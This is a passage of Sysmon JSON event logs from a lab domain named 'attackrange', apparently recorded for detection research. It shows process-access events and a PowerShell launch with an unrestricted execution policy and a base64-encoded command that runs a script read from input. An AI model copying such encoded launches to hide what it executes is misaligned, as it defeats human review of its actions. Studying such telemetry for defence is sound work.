dll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.194\r\nProcessGuid: {90617006-4172-5F2D-0000-0010DC980800}\r\nProcessId: 2284\r\nImage: C:\\Windows\\System32\\chcp.com\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Change CodePage Utility\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CHCP.COM\r\nCommandLine: \"C:\\Windows\\system32\\chcp.com\" 65001\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD\r\nParentProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nParentProcessId: 4580\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.194","ProcessGuid":"{90617006-4172-5F2D-0000-0010DC980800}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","ParentProcessId":"4580","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nSourceProcessId: 4580\r\nSourceThreadId: 4020\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010DC980800}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|UNKNOWN(00007FF93D0D2F4B)|UNKNOWN(00007FF93C574025)|UNKNOWN(00007FF93C573CF6)|UNKNOWN(00007FF93D02510B)|UNKNOWN(00007FF93C53488C)|UNKNOWN(00007FF93C592D5B)|UNKNOWN(00007FF93C5763C0)|UNKNOWN(00007FF93C5763C0)|UNKNOWN(00007FF93C576251)|UNKNOWN(00007FF93C5681D6)|UNKNOWN(00007FF93C574709)|UNKNOWN(00007FF93C5742FC)|UNKNOWN(00007FF93C574025)|UNKNOWN(00007FF93C573CF6)|UNKNOWN(00007FF93D02510B)|UNKNOWN(00007FF93C55AB57)|UNKNOWN(00007FF93C55A127)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","SourceProcessId":"4580","SourceThreadId":"4020","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010DC980800}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|UNKNOWN(00007FF93D0D2F4B)|UNKNOWN(00007FF93C574025)|UNKNOWN(00007FF93C573CF6)|UNKNOWN(00007FF93D02510B)|UNKNOWN(00007FF93C53488C)|UNKNOWN(00007FF93C592D5B)|UNKNOWN(00007FF93C5763C0)|UNKNOWN(00007FF93C5763C0)|UNKNOWN(00007FF93C576251)|UNKNOWN(00007FF93C5681D6)|UNKNOWN(00007FF93C574709)|UNKNOWN(00007FF93C5742FC)|UNKNOWN(00007FF93C574025)|UNKNOWN(00007FF93C573CF6)|UNKNOWN(00007FF93D02510B)|UNKNOWN(00007FF93C55AB57)|UNKNOWN(00007FF93C55A127)","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 